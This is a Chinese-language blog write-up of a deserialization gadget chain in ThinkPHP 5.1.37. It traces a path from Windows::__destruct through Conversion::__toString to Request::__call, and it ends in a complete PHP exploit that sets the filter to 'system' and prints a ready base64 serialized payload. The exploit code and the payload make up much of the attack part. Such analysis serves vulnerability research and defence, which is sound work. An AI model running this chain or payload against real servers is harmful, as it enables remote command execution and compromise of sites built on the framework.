Thinkphp 5.1.37 反序列化利用链
参考文章:https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/
自己就跟着走一遍体会下!
反序列化的常见起点
__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用
反序列化的常见中间跳板:
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
形如 $this->$func();
反序列化的常见终点:
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里
现在又多了phar反序列化的利用方式,能够反序列化其metadata部分,利用的范围增加了许多!
环境:thinkphp 5.1.37
漏洞挖掘分析
1、寻找function __destruct
的析构函数为如下:
这里跟的是Windows类
其中removeFiles 方法中 file_exists 能够触发 __toString 方法
可以对__toSting 方法进行全局搜索 发现 Conversion 中有实现
它会调用 toJson 方法
toJson中接着会调用 toArray 方法,继续跟
在该 toArray 方法中 就可以去寻找能不能找到想要的反序列化的终点造成命令执行的POP链,满足条件都为 $可控变量->方法(参数可控)
这里找的是如下这块
因为满足条件需要时 $可控变量->方法(参数可控),所以还要看 $relation 能否可控,受getRelation函数的影响
那么 $this->append ,append变量就一定需要控制
接着走的当前流程就是如下
这时候 $relation->visible($name); 就会去调用__call方法,我们需要找一个能够利用的地方
利用的地方的条件需要:
1.该类中没有"visible"方法, 因为这样才能触发__call方法
2.实现了__call方法 ,并且__call方法中有我们想要的东西,比如 call_user_func_array call_user_func 等等
Request类中的 __call方法 就满足条件,并且 $this->hook 可控
寻找当前类中能够利用的函数,比如 isAjax ,其中调用了param函数,那么肯定就能触发input函数了,可以回顾下tp 5.0/1.x的命令执行漏洞!
构建EXP
可以先从第一个__destruct,那么我们用到的有Windows类,并且第二个__toString需要触发条件是我们找好的一个类Conversion
但是你又会发现该类是trait所修饰的,那我们不能直接拿来实例化,所以可以通过找继承这个类的来,可以找到Model类use了这个Conversion类,所以可以继续看Model是否符合我们的需要
然而你又会发现Model还是一个抽象类,那又不行,所以继续看谁继承了Model类
刚刚好有一个类符合我们的需求Pivot类
然后我们最后执行的话还需要通过Request类,那么到这里的话我们要用的类一共有三大类,Pivot,Windows,Request类
那么这里还需要继续分析,这三个类中的属性和方法我们要怎么写?
先看Windows类,想要让它触发__toString方法,那么它的files属性一定需要一个类,并且就是Pivot类,因为这样才可以触发Pivot继承来自Conversion的__toString方法
namespace think\process\pipes; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } }
继续看第二个,也就是我们的Pivot类,这个类其实就是一个傀儡的作用,主要就是为的Conversion中的__toString方法,并且我们还需要触发Request类,触发来自append和data属性,所以这两个属性中我们还需要填上对应的要用的数据
则代码如下所示
namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ # append键必须存在,并且与$this->data相同 $this->append = ["huha"=>[]]; $this->data = ["huha"=>new Request()]; } } namespace think\model; use think\Model; class Pivot extends Model { }
然后考虑最后一个Request类,因为我们需要使用这个类的isAjax方法和执行函数的属性,所以该类为如下:
namespace think; class Request{ protected $hook = []; protected $filter = "system"; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'huha']; $this->hook = ["visible"=>[$this,"isAjax"]]; } }
那么到这里的话,构建代码如下:
abstract class Model{ protected $append = []; private $data = []; function __construct(){ # append键必须存在,并且与$this->data相同 $this->append = ["huha"=>[]]; $this->data = ["huha"=>new Request()]; } } namespace think\model; use think\Model; class Pivot extends Model { } namespace think\process\pipes; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } }
测试代码:
最终EXP:
<?php namespace think; class Request{ protected $hook = []; protected $filter = "system"; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'huha']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } abstract class Model{ protected $append = []; private $data = []; function __construct(){ # append键必须存在,并且与$this->data相同 $this->append = ["huha"=>[]]; $this->data = ["huha"=>new Request()]; } } namespace think\model; use think\Model; class Pivot extends Model { } namespace think\process\pipes; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } //var_dump(new Windows()); echo base64_encode(serialize(new Windows())); // TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJodWhhIjthOjA6e319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJodWhhIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjc7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czo0OiJodWhhIjt9fX19fX0= ?>
最后全部的流程图如下:
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY